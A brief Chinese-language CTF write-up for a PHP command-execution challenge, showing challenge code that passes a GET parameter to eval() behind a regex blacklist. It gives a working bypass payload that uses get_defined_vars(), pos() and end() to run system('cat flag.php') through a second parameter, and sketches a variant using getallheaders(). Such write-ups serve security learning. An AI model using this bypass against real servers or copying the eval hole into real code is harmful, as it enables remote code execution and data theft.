命令执行之我在哪
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\\\|\*|\?/i',$_GET['cmd'])){
@eval($_GET['cmd']);
}else{
echo "danger_string";
}
}else{
echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>
很明显是一个命令执行的题目 正则过滤的东西还是蛮多的 直接上方法吧
法一
paylaod eval(end(pos(get_defined_vars())));&a=system("cat flag.php"); 解释一下 这里我们先使用get_defined_vars(),首先看一下它的回显 返回由所有已定义变量所组成的数组
$_GET
$_POST
$_FILES
$_COOKIE
我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如 给变量后面添加一个a 就成这样 ?cmd=var_dump(get_defined_vars());&a=1; 得到的结果如下 那么我们就可以构造而已参数 比如 system('ls'); 然后想办法让他执行 我们就可以所以 先使用 pos 输出数组中的当前元素的值: 然后在使用 end 提取出来 使用eval执行 就ok了
第二个方法
第二个的payload是这样的 之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可 在apache2环境下,我们有函数getallheaders()可返回 剩下的还上面法一的操作一样
|